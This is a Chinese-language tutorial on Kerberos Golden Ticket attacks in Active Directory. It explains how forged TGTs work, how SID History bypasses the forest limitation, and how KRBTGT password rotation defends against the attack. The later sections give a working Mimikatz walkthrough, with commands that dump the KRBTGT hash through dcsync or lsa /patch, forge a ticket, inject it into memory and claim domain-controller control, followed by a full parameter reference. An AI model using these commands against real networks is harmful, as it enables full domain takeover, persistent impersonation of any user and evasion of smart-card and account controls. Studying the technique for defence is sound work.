0x01黃金票據的原理和條件
黃金票據是偽造票據授予票據(TGT),也被稱為認證票據。如下圖所示,與域控制器沒有AS-REQ或AS-REP(步驟1和2)通信。由於黃金票據是偽造的TGT,它作為TGS-REQ的一部分被發送到域控制器以獲得服務票據。
Kerberos黃金票據是有效的TGT Kerberos票據,因為它是由域Kerberos帳戶(KRBTGT)加密和簽名的 。TGT僅用於向域控制器上的KDC服務證明用戶已被其他域控制器認證。TGT被KRBTGT密碼散列加密並且可以被域中的任何KDC服務解密的。
黃金票據的條件要求:
1.域名稱[AD PowerShell模塊:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模塊:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT賬戶NTLM密碼哈希
4.偽造用戶名
一旦攻擊者擁有管理員訪問域控制器的權限,就可以使用Mimikatz來提取KRBTGT帳戶密碼哈希值。
0x02黃金票據局限性
黃金票據 “欺騙”了當前域的管理權限,當KRBTGT帳戶密碼哈希顯示在作為多域AD的林一部分的子域中時存在此局限性。因為是根(root)域包含全森林管理組Enterprise Admins。由於Mimikatz通過相對標識符(RID)向票據添加了組成員資格,因此Kerberos票據中的519(企業管理)RID在其創建的域中(基於KRBTGT帳戶域)被標識為本地。如果通過獲取域SID和附加RID創建的域安全標識符(SID)不存在,那么Kerberos票據的持有者不會收到該級別的訪問權限。換句話說,在一個多域AD森林中,如果創建的Golden Ticket域不包含Enterprise Admins組,則Golden Ticket不會向林中的其他域提供管理權限。在單個域Active Directory林中,由於Enterprise Admins組駐留在此域中,這時創建Golden Ticket不存在局限性。
如下圖所示:除非在Enterprise Admins中,否則黃金票據不能跨域信任使用,。標准的黃金票據僅限於其創建的子域
0x03繞過黃金票據局限性
在遷移方案中,從DomainA遷移到DomainB的用戶將原始DomainA用戶SID值添加到新的DomainB的 SID History屬性中。當用戶使用新帳戶登錄DomainB時,DomainA SID將與確定訪問的DomainB用戶組一起驗證。這意味着可以將SID添加到SID歷史記錄以擴展訪問。
一旦Mimikatz支持Golden Ticket(和Silver Tickets)中的SID History,事情會變得更加有趣,因為AD Forest中的任何組都可以被包含並用於授權訪問。使用最新版本的Mimikatz,我們現在可以將SID歷史記錄添加到Forest Enterprise Admins組的Golden Ticket中。一旦單個域名的KRBTGT帳戶密碼哈希被獲取到,通過黃金票據可偽造用戶登錄到整個森林中。 總而言之,一旦一個域名受到威脅。黃金門票現在可以用來微機AD森林中的任何域
注意:在Active Directory林中的信任之間啟用SID篩選可以防止繞過黃金票據局限性。
0x04黃金票據的特點
1.域控制器中的KDC服務不驗證TGT中的用戶帳戶,直到TGT超過20分鍾,這意味着攻擊者可以使用禁用和刪除的帳戶,甚至是在Active Directory中不存在的虛擬帳戶。
微軟的MS-KILE解釋:
Kerberos V5不提供對TGS請求的帳戶撤銷檢查,只要TGT有效,即使該帳戶已被刪除,TGT更新和服務票據也可以發布。KILE提供了一個可以將利用時間限制在較短的時間內(20分內)。當TGT大於20分鍾時,KILE KDC需要在域中檢查賬戶。
2.由於在域控制器上由KDC服務生成的域設置了Kerberos策略,如果提供票據,則系統信任票據的有效性。這意味着,即使域策略聲明Kerberos登錄票據(TGT)只有10小時有效,如果票據聲明有效期為10 年,那么也會信任票據的有效性期為10年。
3.該KRBTGT帳戶密碼從不更改*和直到KRBTGT密碼被更改(兩次),攻擊者可以創建黃金票據。請注意,即使偽造用戶更改其密碼,創建用於模擬用戶的Golden Ticket仍然存在。
4.它繞過了SmartCard身份驗證要求,因為它繞過了DC在創建TGT之前執行的常規驗證。
5.這個精心創建的TGT要求攻擊者擁有Active Directory域的KRBTGT密碼哈希值(通常從域控制器轉儲)。
6.KRBTGT NTLM哈希可用於生成一個有效的TGT(使用RC4)模擬任何用戶訪問Active Directory中的任何資源。
7.在主機上都可以生成和使用黃金票據(TGT),即使沒有加入域也是如此。只要網絡可以訪問域。
8.用於從AD森林中的DC獲取有效的TGS票據,並提供一個堅持在一切域訪問所有的主機的好辦法。
0x05黃金票據防御
1.限制域管理員登錄到除域控制器和少數管理服務器以外的任何其他計算機(不要讓其他管理員登錄到這些服務器)將所有其他權限委派給自定義管理員組。這大大降低了攻擊者訪問域控制器的Active Directory的ntds.dit。如果攻擊者無法訪問AD數據庫(ntds.dit文件),則無法獲取到KRBTGT帳戶密碼。
2. 禁用KRBTGT帳戶,並保存當前的密碼以及以前的密碼。KRBTGT密碼哈希用於在Kerberos票據上簽署PAC並對TGT(身份驗證票據)進行加密。如果使用不同的密鑰(密碼)對證書進行簽名和加密,則DC(KDC)通過檢查KRBTGT以前的密碼來驗證。
3.建議定期更改KRBTGT密碼(畢竟這是一個管理員帳戶)。更改一次,然后讓AD備份,並在12到24小時后再次更改它。這個過程應該對系統環境沒有影響。這個過程應該是確保KRBTGT密碼每年至少更改一次的標准方法。
4.一旦攻擊者獲得了KRBTGT帳號密碼哈希的訪問權限,就可以隨意創建黃金票據。通過快速更改KRBTGT密碼兩次,使任何現有的黃金票據(以及所有活動的Kerberos票據)失效。這將使所有Kerberos票據無效,並消除攻擊者使用其KRBTGT創建有效金票的能力。
0x06使用Mimikatz偽造Kerberos黃金票據
Mimikatz命令:Kerberos:Golden用於創建“黃金票據”(偽造TGT身份驗證票證)
Mimikatz命令示例:
kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
kerberos::golden /admin:darthvader /domain:lab.adsercurity.org /id:2601 /sid: S-1-5-21-4155807533-921486164-2767329826 /krbtgt:8a2f1adcdd519a23515780021d2d178a /ptt
1.導出krbtgt的Hash
在域控上執行通過mimkatz輸出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
2、生成Golden Ticket
偽造的用戶設置為god,執行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god
/ticket:gold.kirbi"
生成文件gold.kirbi
3、偽造Golden Ticket獲得域控權限
導入Golden Ticket,執行如下命令:
kerberos::ptt c:\test\gold.kirbi
如圖,成功獲得域控權限
Tips:
生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"導出:
0x07 Mimikatz黃金票據命令參考:
Mimikatz創建黃金的命令是“kerberos :: golden”
/domain -----完整的域名,在這個例子中:“lab.adsecurity.org”
/ sid ----域的SID,在這個例子中:“S-1-5-21-1473643419-774954089-2222329127”
/ sids --- AD森林中賬戶/組的額外SID,憑證擁有權限進行欺騙。通常這將是根域Enterprise Admins組的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť
/ user ---偽造的用戶名
/ groups(可選)---用戶所屬的組RID(第一組是主組)。添加用戶或計算機帳戶RID以接收相同的訪問權限。默認組:513,512,520,518,519為默認的管理員組。
/ krbtgt---域KDC服務帳戶(KRBTGT)的NTLM密碼哈希值。用於加密和簽署TGT。
/ ticket(可選) - 提供一個路徑和名稱,用於保存Golden Ticket文件以便日后使用或使用/ ptt立即將黃金票據插入內存以供使用。
/ ptt - 作為/ ticket的替代品 - 使用它來立即將偽造的票據插入到內存中以供使用。
/ id(可選) - 用戶RID。Mimikatz默認值是500(默認管理員帳戶RID)。
/ startoffset(可選) - 票據可用時的起始偏移量(如果使用此選項,通常設置為-10或0)。Mimikatz默認值是0。
/ endin(可選) - 票據使用時間范圍。Mimikatz默認值是10年(〜5,262,480分鍾)。Active Directory默認Kerberos策略設置為10小時(600分鍾)。
/ renewmax(可選) - 續訂最長票據有效期。Mimikatz默認值是10年(〜5,262,480分鍾)。Active Directory默認Kerberos策略設置為7天(10,080分鍾)。
/ sids(可選) - 設置為AD林中企業管理員組(ADRootDomainSID)-519)的SID,以欺騙整個AD林(AD林中每個域中的AD管理員)的企業管理權限。
/ aes128 - AES128密鑰
/ aes256 - AES256密鑰
黃金票默認組:
域用戶SID:S-1-5-21 <DOMAINID> -513
域管理員SID:S-1-5-21 <DOMAINID> -512
架構管理員SID:S-1-5-21 <DOMAINID> -518
企業管理員SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中創建偽造票證時才有效,但為AD森林管理員權限添加使用/ sids參數)
組策略創建者所有者SID:S-1-5-21 <DOMAINID> -520
命令格式如下:
kerberos :: golden / user:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt
命令示例:
.\mimikatz “kerberos::golden /user:DarthVader /domain:rd.lab.adsecurity.org /id:500 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /ptt” exit